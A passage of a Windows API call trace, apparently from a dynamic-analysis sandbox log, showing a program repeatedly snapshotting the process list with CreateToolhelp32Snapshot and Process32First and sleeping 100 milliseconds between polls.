th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.024] Sleep (dwMilliseconds=0x64) [0196.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.038] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.123] Sleep (dwMilliseconds=0x64) [0196.124] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.136] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.237] Sleep (dwMilliseconds=0x64) [0196.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.252] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.349] Sleep (dwMilliseconds=0x64) [0196.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.365] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.471] Sleep (dwMilliseconds=0x64) [0196.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.492] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.589] Sleep (dwMilliseconds=0x64) [0196.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.601] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.732] Sleep (dwMilliseconds=0x64) [0196.733] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.747] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.853] Sleep (dwMilliseconds=0x64) [0196.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0196.869] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.994] Sleep (dwMilliseconds=0x64) [0196.996] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.010] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.113] Sleep (dwMilliseconds=0x64) [0197.114] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.126] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.301] Sleep (dwMilliseconds=0x64) [0197.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.320] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.442] Sleep (dwMilliseconds=0x64) [0197.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.461] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.587] Sleep (dwMilliseconds=0x64) [0197.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.606] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.728] Sleep (dwMilliseconds=0x64) [0197.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.748] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.875] Sleep (dwMilliseconds=0x64) [0197.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0197.903] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.022] Sleep (dwMilliseconds=0x64) [0198.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.041] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.164] Sleep (dwMilliseconds=0x64) [0198.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.178] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.246] Sleep (dwMilliseconds=0x64) [0198.247] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.289] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.356] Sleep (dwMilliseconds=0x64) [0198.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.371] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.473] Sleep (dwMilliseconds=0x64) [0198.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.487] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.605] Sleep (dwMilliseconds=0x64) [0198.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.619] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.820] Sleep (dwMilliseconds=0x64) [0198.822] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0198.844] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.013] Sleep (dwMilliseconds=0x64) [0199.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0199.033] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.178] Sleep (dwMilliseconds=0x64) [0199.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0199.197] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.360] Sleep (dwMilliseconds=0x64) [0199.362] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0199.374] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.446] Sleep (dwMilliseconds=0x64) [0199.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0199.518] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.609] Sleep (dwMilliseconds=0x64) [0199.716] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0199.730] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.969] Sleep (dwMilliseconds=0x64) [0200.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0200.171] Process32First (in: hSnapshot=0x21a4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.728] Sleep (dwMilliseconds=0x64) [0200.734] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0200.755] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.036] Sleep (dwMilliseconds=0x64) [0201.146] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0201.164] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.528] Sleep (dwMilliseconds=0x64) [0201.674] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0201.693] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.880] Sleep (dwMilliseconds=0x64) [0201.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0201.959] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.126] Sleep (dwMilliseconds=0x64) [0202.128] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0202.145] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.327] Sleep (dwMilliseconds=0x64) [0202.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b8 [0202.455] Process32First (in: hSnapshot=0x21b8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.643] Sleep (dwMilliseconds=0x64) [0202.789] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0202.803] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.923] Sleep (dwMilliseconds=0x64) [0202.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0202.969] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.088] Sleep (dwMilliseconds=0x64) [0203.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0203.126] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.294] Sleep (dwMilliseconds=0x64) [0203.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0203.317] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.391] Sleep (dwMilliseconds=0x64) [0203.497] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0203.633] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.704] Sleep (dwMilliseconds=0x64) [0203.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0203.819] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.954] Sleep (dwMilliseconds=0x64) [0203.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0203.970] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.072] Sleep (dwMilliseconds=0x64) [0204.073] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0204.086] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.228] Sleep (dwMilliseconds=0x64) [0204.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0204.248] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.321] Sleep (dwMilliseconds=0x64) [0204.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0204.859] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.961] Sleep (dwMilliseconds=0x64) [0204.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0205.014] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.094] Sleep (dwMilliseconds=0x64) [0205.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0205.109] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.530] Sleep (dwMilliseconds=0x64) [0205.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0205.572] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.693] Sleep (dwMilliseconds=0x64) [0205.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0205.726] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.839] Sleep (dwMilliseconds=0x64) [0205.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0205.855] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.975] Sleep (dwMilliseconds=0x64) [0205.978] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0206.002] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.126] Sleep (dwMilliseconds=0x64) [0206.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0206.247] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.422] Sleep (dwMilliseconds=0x64) [0206.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0206.435] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.657] Sleep (dwMilliseconds=0x64) [0206.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0206.725] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.798] Sleep (dwMilliseconds=0x64) [0206.946] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0207.088] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.157] Sleep (dwMilliseconds=0x64) [0207.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0207.273] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.401] Sleep (dwMilliseconds=0x64) [0207.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0207.421] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.574] Sleep (dwMilliseconds=0x64) [0207.576] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0207.592] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.931] Sleep (dwMilliseconds=0x64) [0207.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0207.986] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.096] Sleep (dwMilliseconds=0x64) [0208.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c44 [0208.110] Process32First (in: hSnapshot=0x1c44, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.223] Sleep (dwMilliseconds=0x64) [0208.225] 